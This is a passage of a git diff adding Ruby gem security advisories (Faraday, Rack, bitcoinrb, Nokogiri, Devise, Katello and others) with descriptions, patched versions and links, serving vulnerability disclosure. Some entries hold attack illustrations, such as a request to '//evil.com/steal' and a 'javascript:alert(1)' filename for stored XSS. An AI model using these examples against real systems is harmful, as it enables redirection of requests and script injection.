+ URLs starting with `/`, so protocol-relative URLs bypass it entirely.
+
+ **Example**
+ ```ruby
+ conn = Faraday.new(url: 'https://api.internal.com')
+ conn.get('//evil.com/steal')
+ # Request is sent to https://evil.com/steal instead of api.internal.com
+ ```
+
+ ### Patches
+
+ Faraday v2.14.1 is patched against this security issue. All
+ versions of Faraday up to 2.14.0 are affected.
+
+ ### Workarounds
+
+ **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action
+ to mitigate this issue, however should that not be an option
+ please continue reading.**
+
+ Applications should validate and sanitize any user-controlled
+ input before passing it to Faraday request methods.
+ Specifically:
+
+ - Reject or strip input that starts with // followed by a
+ non-/ character.
+ - Use an allowlist of permitted path prefixes.
+ - Alternatively, prepend ./ to all user-supplied paths before
+ passing them to Faraday.
+
+ Example validation:
+ ```ruby
+ def safe_path(user_input)
+ raise ArgumentError, "Invalid path" if user_input.match?(r{\A//[^/]})
+ user_input
+ end
+ ```
+ cvss_v3: 5.8
+ patched_versions:
+ - "~> 1.10.5"
+ - ">= 2.14.1"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-25765
+ - https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2
+ - https://github.com/lostisland/faraday/releases/tag/v2.14.1
+ - https://github.com/lostisland/faraday/releases/tag/v1.10.5
+ - https://github.com/lostisland/faraday/pull/1569
+ - https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc
+ - https://github.com/lostisland/faraday/commit/d0fc049beb0b0e4e3bd4a52711189130bba7c5f4
+ - https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2
+ - https://www.rfc-editor.org/rfc/rfc3986#section-5.4
+ - https://advisories.gitlab.com/pkg/gem/faraday/CVE-2026-25765
+ - https://github.com/advisories/GHSA-33mh-2634-fwr2
+---
diff --git a/advisories/_posts/2026-02-10-GHSA-q66h-m87m-j2q6.md b/advisories/_posts/2026-02-10-GHSA-q66h-m87m-j2q6.md
new file mode 100644
index 00000000..0417e6b6
--- /dev/null
+++ b/advisories/_posts/2026-02-10-GHSA-q66h-m87m-j2q6.md
@@ -0,0 +1,54 @@
+---
+layout: advisory
+title: 'GHSA-q66h-m87m-j2q6 (bitcoinrb): Bitcoinrb Vulnerable to Command injection
+ via RPC'
+comments: false
+categories:
+- bitcoinrb
+advisory:
+ gem: bitcoinrb
+ ghsa: q66h-m87m-j2q6
+ url: https://github.com/chaintope/bitcoinrb/security/advisories/GHSA-q66h-m87m-j2q6
+ title: Bitcoinrb Vulnerable to Command injection via RPC
+ date: 2026-02-10
+ description: |-
+ ### Summary: Remote Code Execution
+
+ Unsafe handling of request parameters in the RPC HTTP server
+ results in command injection.
+
+ ### Details
+
+ In lib/bitcoin/rpc/http_server.rb line 30-39, the JSON body of a
+ POST request is parsed into `command` and `args` variables. These
+ values are then passed to `send`, which is used to call an arbitrary
+ class method. However, there is no validation that the provided
+ `command` value is one of the expected RPC methods.
+ This means that an attacker could supply a `command` value such
+ as `system`, and then pass arbitrary system commands into the
+ `args` parameter and achieve remote code execution.
+
+ ### Remediation
+
+ **Mitigating Factors:**
+
+ - The RPC server is part of the experimental SPV node feature,
+ which is not documented and has very few users.
+ - The SPV-related features may be removed in future releases.
+
+ **Resolution:**
+
+ - Added whitelist validation to allow only RPC methods defined
+ in `RequestHandler`.
+
+ - Fixed in version 1.12.0.
+ cvss_v4: 2.0
+ patched_versions:
+ - ">= 1.12.0"
+ related:
+ url:
+ - https://github.com/chaintope/bitcoinrb/releases/tag/v1.12.0
+ - https://github.com/chaintope/bitcoinrb/security/advisories/GHSA-q66h-m87m-j2q6
+ - https://github.com/chaintope/bitcoinrb/commit/070327133a2a3e5a6d265b2d82f06f9414c01e74
+ - https://github.com/advisories/GHSA-q66h-m87m-j2q6
+---
diff --git a/advisories/_posts/2026-02-17-CVE-2026-22860.md b/advisories/_posts/2026-02-17-CVE-2026-22860.md
new file mode 100644
index 00000000..ce6f6421
--- /dev/null
+++ b/advisories/_posts/2026-02-17-CVE-2026-22860.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2026-22860 (rack): Rack has a Directory Traversal via Rack:Directory'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-22860
+ ghsa: mxw3-3hh2-x2mh
+ url: https://github.com/rack/rack/security/advisories/GHSA-mxw3-3hh2-x2mh
+ title: Rack has a Directory Traversal via Rack:Directory
+ date: 2026-02-17
+ description: |-
+ ## Summary
+
+ `Rack::Directory`’s path check used a string prefix match
+ on the expanded path. A request like `/../root_example/` can escape the configured
+ root if the target path starts with the root string, allowing directory listing
+ outside the intended root.
+
+ ## Details
+
+ In `directory.rb`, `File.expand_path(File.join(root,
+ path_info)).start_with?(root)` does not enforce a path boundary. If the server root
+ is `/var/www/root`, a path like `/var/www/root_backup` passes the check because
+ it shares the same prefix, so `Rack::Directory` will list that directory also.
+
+ ## Impact
+
+ Information disclosure via directory listing outside the configured root
+ when `Rack::Directory` is exposed to untrusted clients and a directory shares the
+ root prefix (e.g., `public2`, `www_backup`).
+
+ ## Mitigation
+
+ * Update to a patched
+ version of Rack that correctly checks the root prefix.\n* Don't name directories
+ with the same prefix as one which is exposed via `Rack::Directory`."
+ cvss_v3: 7.5
+ patched_versions:
+ - "~> 2.2.22"
+ - "~> 3.1.20"
+ - ">= 3.2.5"
+ related:
+ url:
+ - https://github.com/rack/rack/security/advisories/GHSA-mxw3-3hh2-x2mh
+ - https://github.com/rack/rack/commit/75c5745c286637a8f049a33790c71237762069e7
+ - https://github.com/advisories/GHSA-mxw3-3hh2-x2mh
+---
diff --git a/advisories/_posts/2026-02-17-CVE-2026-25500.md b/advisories/_posts/2026-02-17-CVE-2026-25500.md
new file mode 100644
index 00000000..c09f118b
--- /dev/null
+++ b/advisories/_posts/2026-02-17-CVE-2026-25500.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'CVE-2026-25500 (rack): Stored XSS in Rack::Directory via javascript: filenames
+ rendered into anchor href'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-25500
+ ghsa: whrj-4476-wvmp
+ url: https://github.com/rack/rack/security/advisories/GHSA-whrj-4476-wvmp
+ title: 'Stored XSS in Rack::Directory via javascript: filenames rendered into anchor
+ href'
+ date: 2026-02-17
+ description: |-
+ ## Summary
+
+ `Rack::Directory` generates an HTML directory index where each file entry is rendered as a clickable link. If a file exists on disk whose basename begins with the `javascript:` scheme (e.g. `javascript:alert(1)`), the generated index includes an anchor whose `href` attribute is exactly `javascript:alert(1)`. Clicking this entry executes arbitrary JavaScript in the context of the hosting application.
+
+ This results in a client-side XSS condition in directory listings generated by `Rack::Directory`.
+
+ ## Details
+
+ `Rack::Directory` renders directory entries using an HTML row template similar to:
+
+ ```html
+ %s
+ ```
+
+ The `%s` placeholder is populated directly with the file’s basename. If the basename begins with `javascript:`, the resulting HTML contains an executable JavaScript URL:
+
+ ```html
+ javascript:alert(1)
+ ```
+
+ Because the value is inserted directly into the `href` attribute without scheme validation or normalization, browsers interpret it as a JavaScript URI. When a user clicks the link, the JavaScript executes in the origin of the Rack application.
+
+ ## Impact
+
+ If `Rack::Directory` is used to expose filesystem contents over HTTP, an attacker who can create or upload files within that directory may introduce a malicious filename beginning with `javascript:`.
+
+ When a user visits the directory listing and clicks the entry, arbitrary JavaScript executes in the application's origin. Exploitation requires user interaction (clicking the malicious entry).
+
+ ## Mitigation
+
+ * Update to a patched version of Rack in which `Rack::Directory` prefixes generated anchors with a relative path indicator (e.g. `./filename`).
+ * Avoid exposing user-controlled directories via `Rack::Directory`.
+ * Apply a strict Content Security Policy (CSP) to reduce impact of potential client-side execution issues.
+ * Where feasible, restrict or sanitize uploaded filenames to disallow dangerous URI scheme prefixes.
+ cvss_v3: 5.4
+ patched_versions:
+ - "~> 2.2.22"
+ - "~> 3.1.20"
+ - ">= 3.2.5"
+ related:
+ url:
+ - https://github.com/rack/rack/security/advisories/GHSA-whrj-4476-wvmp
+ - https://github.com/rack/rack/commit/f2f225f297b99fbee3d9f51255d41f601fc40aff
+ - https://github.com/advisories/GHSA-whrj-4476-wvmp
+---
diff --git a/advisories/_posts/2026-02-18-GHSA-wx95-c6cv-8532.md b/advisories/_posts/2026-02-18-GHSA-wx95-c6cv-8532.md
new file mode 100644
index 00000000..c64e1ff8
--- /dev/null
+++ b/advisories/_posts/2026-02-18-GHSA-wx95-c6cv-8532.md
@@ -0,0 +1,54 @@
+---
+layout: advisory
+title: 'GHSA-wx95-c6cv-8532 (nokogiri): Nokogiri does not check the return value from
+ xmlC14NExecute'
+comments: false
+categories:
+- nokogiri
+advisory:
+ gem: nokogiri
+ ghsa: wx95-c6cv-8532
+ url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-wx95-c6cv-8532
+ title: Nokogiri does not check the return value from xmlC14NExecute
+ date: 2026-02-18
+ description: |-
+ ## Summary
+
+ Nokogiri's CRuby extension fails to check the return value from
+ `xmlC14NExecute` in the method `Nokogiri::XML::Document#canonicalize`
+ and `Nokogiri::XML::Node#canonicalize`. When canonicalization fails,
+ an empty string is returned instead of raising an exception. This
+ incorrect return value may allow downstream libraries to accept
+ invalid or incomplete canonicalized XML, which has been demonstrated
+ to enable signature validation bypass in SAML libraries.
+
+ JRuby is not affected, as the Java implementation correctly
+ raises `RuntimeError` on canonicalization failure.
+
+ ## Mitigation
+
+ Upgrade to Nokogiri `>= 1.19.1`.
+
+ ## Severity
+
+ The maintainers have assessed this as **Medium** severity. Nokogiri
+ itself is a parsing library without a clear security boundary
+ related to canonicalization, so the direct impact is that a method
+ returns incorrect data on invalid input. However, this behavior
+ was exploited in practice to bypass SAML signature validation
+ in downstream libraries (see References).
+
+ ## Credit
+
+ This vulnerability was responsibly reported by HackerOne
+ researcher `d4d`.
+ cvss_v3: 5.3
+ unaffected_versions:
+ - "< 1.5.1"
+ patched_versions:
+ - ">= 1.19.1"
+ related:
+ url:
+ - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-wx95-c6cv-8532
+ - https://github.com/advisories/GHSA-wx95-c6cv-8532
+---
diff --git a/advisories/_posts/2026-02-27-CVE-2026-0980.md b/advisories/_posts/2026-02-27-CVE-2026-0980.md
new file mode 100644
index 00000000..2d50b6dc
--- /dev/null
+++ b/advisories/_posts/2026-02-27-CVE-2026-0980.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2026-0980 (rubyipmi): rubyipmi is vulnerable to OS Command Injection through
+ malicious usernames'
+comments: false
+categories:
+- rubyipmi
+advisory:
+ gem: rubyipmi
+ cve: 2026-0980
+ ghsa: hfcp-477w-3wjw
+ url: https://access.redhat.com/security/cve/CVE-2026-0980
+ title: rubyipmi is vulnerable to OS Command Injection through malicious usernames
+ date: 2026-02-27
+ description: |-
+ A flaw was found in rubyipmi, a gem used in the Baseboard Management
+ Controller (BMC) component of Red Hat Satellite. An authenticated
+ attacker with host creation or update permissions could exploit this
+ vulnerability by crafting a malicious username for the BMC interface.
+ This could lead to remote code execution (RCE) on the system.
+ cvss_v3: 8.3
+ patched_versions:
+ - ">= 0.13.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-0980
+ - https://access.redhat.com/security/cve/CVE-2026-0980
+ - https://bugzilla.redhat.com/show_bug.cgi?id=2429874
+ - https://github.com/logicminds/rubyipmi/commit/252503a7b4dca68388165883b0322024e344a215
+ - https://github.com/advisories/GHSA-hfcp-477w-3wjw
+---
diff --git a/advisories/_posts/2026-02-27-CVE-2026-2302.md b/advisories/_posts/2026-02-27-CVE-2026-2302.md
new file mode 100644
index 00000000..f5d1553f
--- /dev/null
+++ b/advisories/_posts/2026-02-27-CVE-2026-2302.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2026-2302 (mongoid): Mongoid::Criteria.from_hash method allows arbitrary
+ method calls'
+comments: false
+categories:
+- mongoid
+advisory:
+ gem: mongoid
+ cve: 2026-2302
+ ghsa: 68xj-h57p-gg5j
+ url: https://nvd.nist.gov/vuln/detail/CVE-2026-2302
+ title: Mongoid::Criteria.from_hash method allows arbitrary method calls
+ date: 2026-02-27
+ description: |-
+ Under specific conditions when processing a maliciously crafted
+ value of type Hash r, Mongoid::Criteria.from_hash may allow for
+ executing arbitrary Ruby code.
+ cvss_v3: 6.5
+ cvss_v4: 6.9
+ patched_versions:
+ - "~> 7.6.1"
+ - "~> 8.0.12"
+ - "~> 8.1.12"
+ - ">= 9.0.10"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-2302
+ - https://github.com/mongodb/mongoid/releases/tag/v9.0.10
+ - https://github.com/mongodb/mongoid/pull/6099
+ - https://rubygems.org/gems/mongoid/versions/8.1.12 - https://github.com/mongodb/mongoid/releases/tag/v8.1.12
+ - https://github.com/mongodb/mongoid/pull/6100
+ - https://rubygems.org/gems/mongoid/versions/8.0.12 - https://github.com/mongodb/mongoid/releases/tag/v8.0.12
+ - https://github.com/mongodb/mongoid/pull/6101
+ - https://rubygems.org/gems/mongoid/versions/7.6.1 - https://github.com/mongodb/mongoid/releases/tag/v7.6.1
+ - https://github.com/mongodb/mongoid/pull/6102
+ - https://github.com/mongodb/mongoid/pull/6087
+ - https://github.com/mongodb/mongoid/pull/6086
+ - https://github.com/mongodb/mongoid/pull/6085
+ - https://github.com/mongodb/mongoid/pull/6084
+ - https://github.com/mongodb/mongoid/pull/6083
+ - https://jira.mongodb.org/browse/MONGOID-5919
+ - https://github.com/advisories/GHSA-68xj-h57p-gg5j
+ notes: |
+ - GHSA is unreviewed.
+ - date from nvd.nist.gov URL.
+---
diff --git a/advisories/_posts/2026-03-05-CVE-2026-27820.md b/advisories/_posts/2026-03-05-CVE-2026-27820.md
new file mode 100644
index 00000000..8c363b95
--- /dev/null
+++ b/advisories/_posts/2026-03-05-CVE-2026-27820.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'CVE-2026-27820 (zlib): Buffer overflow vulnerability in Zlib::GzipReader'
+comments: false
+categories:
+- zlib
+advisory:
+ gem: zlib
+ cve: 2026-27820
+ ghsa: g857-hhfv-j68w
+ url: https://nvd.nist.gov/vuln/detail/CVE-2026-27820
+ title: Buffer overflow vulnerability in Zlib::GzipReader
+ date: 2026-03-05
+ description: |-
+ A buffer overflow vulnerability exists in Zlib::GzipReader.
+ This vulnerability has been assigned the CVE identifier
+ CVE-2026-27820. We recommend upgrading the zlib gem.
+
+ ## Details
+
+ The zstream_buffer_ungets function prepends caller-provided bytes
+ ahead of previously produced output but fails to guarantee the
+ backing Ruby string has enough capacity before the memmove shifts
+ the existing data. This can lead to memory corruption when the
+ buffer length exceeds capacity.
+
+ ## Recommended action
+
+ We recommend to update the zlib gem to version 3.2.3 or later.
+ In order to ensure compatibility with bundled version in older
+ Ruby series, you may update as follows instead:
+
+ * For Ruby 3.2 users: Update to zlib 3.0.1
+ * For Ruby 3.3 users: Update to zlib 3.1.2
+ * You can use gem update zlib to update it. If you are using
+ bundler, please add gem "zlib", ">= 3.2.3" to your Gemfile.
+
+ ## Affected versions:
+
+ zlib gem 3.2.2 or lower
+
+ ## Credits
+
+ Thanks to calysteon for reporting this issue. Also thanks to
+ nobu for creating the patch.
+ cvss_v3: 9.8
+ cvss_v4: 5.9
+ patched_versions:
+ - "~> 3.0.1"
+ - "~> 3.1.2"
+ - ">= 3.2.3"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-27820
+ - https://www.ruby-lang.org/en/news/2026/03/05/buffer-overflow-zlib-cve-2026-27820
+ - https://rubygems.org/gems/zlib/versions/3.2.3
+ - https://rubygems.org/gems/zlib/versions/3.1.2
+ - https://rubygems.org/gems/zlib/versions/3.0.1
+ - https://github.com/ruby/zlib/security/advisories/GHSA-g857-hhfv-j68w
+---
diff --git a/advisories/_posts/2026-03-10-CVE-2026-1776.md b/advisories/_posts/2026-03-10-CVE-2026-1776.md
new file mode 100644
index 00000000..507eb872
--- /dev/null
+++ b/advisories/_posts/2026-03-10-CVE-2026-1776.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2026-1776 (camaleon_cms): Camaleon CMS vulnerable to Path Traversal through
+ AWS S3 uploader implementation'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+ gem: camaleon_cms
+ cve: 2026-1776
+ ghsa: jw5g-f64p-6x78
+ url: https://nvd.nist.gov/vuln/detail/CVE-2026-1776
+ title: Camaleon CMS vulnerable to Path Traversal through AWS S3 uploader implementation
+ date: 2026-03-10
+ description: |-
+ Camaleon CMS versions 2.4.5.0 through 2.9.1, prior to commit f54a77e,
+ contain a path traversal vulnerability in the AWS S3 uploader
+ implementation that allows authenticated users to read arbitrary
+ files from the web server’s filesystem. The issue occurs in the
+ download_private_file functionality when the application is
+ configured to use the CamaleonCmsAwsUploader backend. Unlike the
+ local uploader implementation, the AWS uploader does not validate
+ file paths with valid_folder_path?, allowing directory traversal
+ sequences to be supplied via the file parameter. As a result, any
+ authenticated user, including low-privileged registered users, can
+ access sensitive files such as /etc/passwd. This issue represents a
+ bypass of the incomplete fix for CVE-2024-46987 and affects
+ deployments using the AWS S3 storage backend.
+ cvss_v3: 6.5
+ cvss_v4: 6.0
+ unaffected_versions:
+ - "< 2.4.5.0"
+ notes: Never patched; last release was 2.9.1
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-1776
+ - https://github.com/owen2345/camaleon-cms/pull/1127
+ - https://github.com/owen2345/camaleon-cms/commit/f54a77e2a7be601215ea1b396038c589a0cab9af
+ - https://camaleon.website
+ - https://www.vulncheck.com/advisories/camaleon-cms-aws-uploader-authenticated-path-traversal-arbitrary-file-read
+ - https://github.com/advisories/GHSA-jw5g-f64p-6x78
+---
diff --git a/advisories/_posts/2026-03-11-CVE-2026-31830.md b/advisories/_posts/2026-03-11-CVE-2026-31830.md
new file mode 100644
index 00000000..4328a8f3
--- /dev/null
+++ b/advisories/_posts/2026-03-11-CVE-2026-31830.md
@@ -0,0 +1,64 @@
+---
+layout: advisory
+title: 'CVE-2026-31830 (sigstore): sigstore-ruby verifier returns success for DSSE
+ bundles with mismatched in-toto subject digest'
+comments: false
+categories:
+- sigstore
+advisory:
+ gem: sigstore
+ cve: 2026-31830
+ ghsa: mhg6-2q2v-9h2c
+ url: https://github.com/sigstore/sigstore-ruby/security/advisories/GHSA-mhg6-2q2v-9h2c
+ title: sigstore-ruby verifier returns success for DSSE bundles with mismatched in-toto
+ subject digest
+ date: 2026-03-11
+ description: |-
+ ### Summary
+
+ `Sigstore::Verifier#verify` does not propagate the `VerificationFailure`
+ returned by `verify_in_toto` when the artifact digest does not match
+ the digest in the in-toto attestation subject. As a result, verification
+ of DSSE bundles containing in-toto statements returns `VerificationSuccess`
+ regardless of whether the artifact matches the attested subject.
+
+ ### Details
+
+ In `lib/sigstore/verifier.rb`, the verify method calls `verify_in_toto`
+ (line 176) without capturing or checking its return value:
+
+ `verify_in_toto(input, in_toto)`
+
+ When `verify_in_toto` detects a digest mismatch, it returns a
+ `VerificationFailure` object. Because the caller discards this
+ return value, execution unconditionally falls through to return
+ `VerificationSuccess`. This is the only verification sub-check in
+ the method (out of 12) whose failure is not propagated.
+
+ The message_signature code path is not affected.
+
+ ### Impact
+
+ An attacker who possesses a valid signed DSSE bundle containing an
+ in-toto attestation for artifact A can present it as a valid attestation
+ for a different artifact B. All other verification checks (DSSE envelope
+ signature, certificate chain, Rekor inclusion, SCTs, policy) pass because
+ they are independent of the artifact content. Only the in-toto subject
+ digest check detects the mismatch, and its result is discarded.
+
+ This allows an attacker to bypass artifact-to-attestation binding for
+ any consumer that relies on `Sigstore::Verifier#verify` to validate
+ DSSE/in-toto bundles.
+
+ ### Workarounds
+
+ None. Consumers cannot work around this without patching the library.
+ cvss_v3: 7.5
+ patched_versions:
+ - ">= 0.2.3"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-31830
+ - https://github.com/sigstore/sigstore-ruby/security/advisories/GHSA-mhg6-2q2v-9h2c
+ - https://github.com/advisories/GHSA-mhg6-2q2v-9h2c
+---
diff --git a/advisories/_posts/2026-03-12-GHSA-qmpg-8xg6-ph5q.md b/advisories/_posts/2026-03-12-GHSA-qmpg-8xg6-ph5q.md
new file mode 100644
index 00000000..67a744d5
--- /dev/null
+++ b/advisories/_posts/2026-03-12-GHSA-qmpg-8xg6-ph5q.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'GHSA-qmpg-8xg6-ph5q (action_text-trix): Trix has a Stored XSS vulnerability
+ through serialized attributes'
+comments: false
+categories:
+- action_text-trix
+advisory:
+ gem: action_text-trix
+ ghsa: qmpg-8xg6-ph5q
+ url: https://github.com/basecamp/trix/security/advisories/GHSA-qmpg-8xg6-ph5q
+ title: Trix has a Stored XSS vulnerability through serialized attributes
+ date: 2026-03-12
+ description: |-
+ ### Impact
+
+ The Trix editor, in versions prior to 2.1.17, is vulnerable to XSS
+ attacks when a `data-trix-serialized-attributes` attribute bypasses
+ the DOMPurify sanitizer.
+
+ An attacker could craft HTML containing a `data-trix-serialized-attributes`
+ attribute with a malicious payload that, when the content is rendered,
+ could execute arbitrary JavaScript code within the context of the user's
+ session, potentially leading to unauthorized actions being performed
+ or sensitive information being disclosed.
+
+ ### Patches
+
+ Update Recommendation: Users should upgrade to Trix editor
+ version 2.1.17 or later.
+
+ ### References
+
+ The XSS vulnerability was responsibly reported by Hackerone
+ researcher [newbiefromcoma](https://hackerone.com/newbiefromcoma).
+ cvss_v3: 4.6
+ patched_versions:
+ - ">= 2.1.17"
+ related:
+ url:
+ - https://github.com/basecamp/trix/security/advisories/GHSA-qmpg-8xg6-ph5q
+ - https://github.com/basecamp/trix/releases/tag/v2.1.17
+ - https://github.com/basecamp/trix/pull/1282
+ - https://github.com/basecamp/trix/commit/53197ab5a142e6b0b76127cb790726b274eaf1bc
+ - https://hackerone.com/reports/3581911
+ - https://github.com/advisories/GHSA-qmpg-8xg6-ph5q
+---
diff --git a/advisories/_posts/2026-03-16-CVE-2026-32700.md b/advisories/_posts/2026-03-16-CVE-2026-32700.md
new file mode 100644
index 00000000..ad11063e
--- /dev/null
+++ b/advisories/_posts/2026-03-16-CVE-2026-32700.md
@@ -0,0 +1,71 @@
+---
+layout: advisory
+title: 'CVE-2026-32700 (devise): Confirmable "change email" race condition permits
+ user to confirm email they have no access to'
+comments: false
+categories:
+- devise
+advisory:
+ gem: devise
+ cve: 2026-32700
+ ghsa: 57hq-95w6-v4fc
+ url: https://github.com/heartcombo/devise/security/advisories/GHSA-57hq-95w6-v4fc
+ title: Confirmable "change email" race condition permits user to confirm email they
+ have no access to
+ date: 2026-03-16
+ description: |-
+ ## Impact
+
+ A race condition in Devise's Confirmable module allows an attacker
+ to confirm an email address they do not own. This affects any Devise
+ application using the reconfirmable option (the default when using
+ Confirmable with email changes).
+
+ By sending two concurrent email change requests, an attacker can
+ desynchronize the confirmation_token and unconfirmed_email fields.
+ The confirmation token is sent to an email the attacker controls,
+ but the unconfirmed_email in the database points to a victim's
+ email address. When the attacker uses the token, the victim's email
+ is confirmed on the attacker's account.
+
+ ## Patch
+
+ This is patched in Devise v5.0.3. Users should upgrade as soon as possible.
+
+ ## Workaround
+
+ Applications can override this specific method from Devise models
+ to force unconfirmed_email to be persisted when unchanged:
+ (assuming your model is User)
+
+ ```
+ class User < ApplicationRecord
+ protected
+
+ def postpone_email_change_until_confirmation_and_regenerate_confirmation_token
+ unconfirmed_email_will_change!
+ super
+ end
+ end
+ ```
+
+ Note: Mongoid does not seem to respect that will_change! should
+ force the attribute to be persisted, even if it did not really
+ change, so you might have to implement a workaround similar to
+ Devise by setting changed_attributes["unconfirmed_email"] = nil as well.
+ cvss_v3: 5.3
+ cvss_v4: 6.0
+ patched_versions:
+ - ">= 5.0.3"
+ related:
+ url:
+ - https://about.gitlab.com/releases/2023/01/09/security-release-gitlab-15-7-2-released
+ - https://github.com/heartcombo/devise/pull/5784
+ - https://github.com/heartcombo/devise/issues/5783
+ - https://portswigger.net/research/smashing-the-state-machine
+ - https://groups.google.com/g/heartcombo/c/ieiLJhG4EGE/m/PNlIQv54AAAJ
+ - https://groups.google.com/g/heartcombo/c/o9mtkcfvt_g/m/SABX6rp8AgAJ
+ - https://groups.google.com/g/heartcombo/c/XDII89RV6Ak/m/AJMOyayNAgAJ
+ - https://groups.google.com/g/heartcombo/c/TWge7vKELhc/m/gRTrgKz4CQAJ
+ - https://github.com/heartcombo/devise/security/advisories/GHSA-57hq-95w6-v4fc
+---
diff --git a/advisories/_posts/2026-03-16-GHSA-57hq-95w6-v4fc.md b/advisories/_posts/2026-03-16-GHSA-57hq-95w6-v4fc.md
new file mode 100644
index 00000000..29e31a9c
--- /dev/null
+++ b/advisories/_posts/2026-03-16-GHSA-57hq-95w6-v4fc.md
@@ -0,0 +1,68 @@
+---
+layout: advisory
+title: 'GHSA-57hq-95w6-v4fc (devise): Confirmable "change email" race condition permits
+ user to confirm email they have no access to'
+comments: false
+categories:
+- devise
+advisory:
+ gem: devise
+ ghsa: 57hq-95w6-v4fc
+ url: https://github.com/heartcombo/devise/security/advisories/GHSA-57hq-95w6-v4fc
+ title: Confirmable "change email" race condition permits user to confirm email they
+ have no access to
+ date: 2026-03-16
+ description: |
+ ## Impact
+
+ A race condition in Devise's Confirmable module allows an attacker
+ to confirm an email address they do not own. This affects any Devise
+ application using the reconfirmable option (the default when using
+ Confirmable with email changes).
+
+ By sending two concurrent email change requests, an attacker can
+ desynchronize the confirmation_token and unconfirmed_email fields.
+ The confirmation token is sent to an email the attacker controls,
+ but the unconfirmed_email in the database points to a victim's
+ email address. When the attacker uses the token, the victim's email
+ is confirmed on the attacker's account.
+
+ ## Patch
+
+ This is patched in Devise v5.0.3. Users should upgrade as soon as possible.
+
+ ## Workaround
+
+ Applications can override this specific method from Devise models
+ to force unconfirmed_email to be persisted when unchanged:
+ (assuming your model is User)
+
+ ```
+ class User < ApplicationRecord
+ protected
+
+ def postpone_email_change_until_confirmation_and_regenerate_confirmation_token
+ unconfirmed_email_will_change!
+ super
+ end
+ end
+ ```
+
+ Note: Mongoid does not seem to respect that will_change! should
+ force the attribute to be persisted, even if it did not really
+ change, so you might have to implement a workaround similar to
+ Devise by setting changed_attributes["unconfirmed_email"] = nil as well.
+ patched_versions:
+ - ">= 5.0.3"
+ related:
+ url:
+ - https://about.gitlab.com/releases/2023/01/09/security-release-gitlab-15-7-2-released
+ - https://github.com/heartcombo/devise/pull/5784
+ - https://github.com/heartcombo/devise/issues/5783
+ - https://portswigger.net/research/smashing-the-state-machine
+ - https://groups.google.com/g/heartcombo/c/ieiLJhG4EGE/m/PNlIQv54AAAJ
+ - https://groups.google.com/g/heartcombo/c/o9mtkcfvt_g/m/SABX6rp8AgAJ
+ - https://groups.google.com/g/heartcombo/c/XDII89RV6Ak/m/AJMOyayNAgAJ
+ - https://groups.google.com/g/heartcombo/c/TWge7vKELhc/m/gRTrgKz4CQAJ
+ - https://github.com/heartcombo/devise/security/advisories/GHSA-57hq-95w6-v4fc
+---
diff --git a/advisories/_posts/2026-03-17-CVE-2026-4324.md b/advisories/_posts/2026-03-17-CVE-2026-4324.md
new file mode 100644
index 00000000..692b33cb
--- /dev/null
+++ b/advisories/_posts/2026-03-17-CVE-2026-4324.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2026-4324 (katello): Katello - Denial of Service and potential information
+ disclosure via SQL injection'''
+comments: false
+categories:
+- katello
+advisory:
+ gem: katello
+ cve: 2026-4324
+ ghsa: fwj4-6wgp-mpxm
+ url: https://access.redhat.com/security/cve/CVE-2026-4324
+ title: Katello - Denial of Service and potential information disclosure via SQL
+ injection'
+ date: 2026-03-17
+ description: |-
+ A flaw was found in the Katello plugin for Red Hat Satellite. This
+ vulnerability, caused by improper sanitization of user-provided
+ input, allows a remote attacker to inject arbitrary SQL commands
+ into the sort_by parameter of the /api/hosts/bootc_images API
+ endpoint. This can lead to a Denial of Service (DoS) by triggering
+ database errors, and potentially enable Boolean-based Blind SQL
+ injection, which could allow an attacker to extract sensitive
+ information from the database.
+ cvss_v3: 5.4
+ patched_versions:
+ - ">= 4.19.1"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-4324
+ - https://access.redhat.com/security/cve/CVE-2026-4324
+ - https://bugzilla.redhat.com/show_bug.cgi?id=2448349
+ - https://github.com/Katello/katello/commit/a0a793b08d4f0a897ee985d79a687ad043f99e57
+ - https://github.com/advisories/GHSA-fwj4-6wgp-mpxm
+---
diff --git a/advisories/_posts/2026-03-18-CVE-2026-33209.md b/advisories/_posts/2026-03-18-CVE-2026-33209.md
new file mode 100644
index 00000000..a2d69ae4
--- /dev/null
+++ b/advisories/_posts/2026-03-18-CVE-2026-33209.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2026-33209 (avo): Avo has a XSS vulnerability on `return_to` param'
+comments: false
+categories:
+- avo
+advisory:
+ gem: avo
+ cve: 2026-33209
+ ghsa: 762r-27w2-q22j
+ url: https://github.com/avo-hq/avo/security/advisories/GHSA-762r-27w2-q22j
+ title: Avo has a XSS vulnerability on `return_to` param
+ date: 2026-03-18
+ description: |-
+ ## Description
+
+ A reflected cross-site scripting (XSS) vulnerability exists in
+ the `return_to` query parameter used in the avo interface.
+
+ An attacker can craft a malicious URL that injects arbitrary
+ JavaScript, which is executed when he clicks a dynamically
+ generated navigation button.
+
+ ## Impact
+
+ This vulnerability may allow execution of arbitrary JavaScript
+ in the context of the application.
+
+ Impact varies depending on deployment:
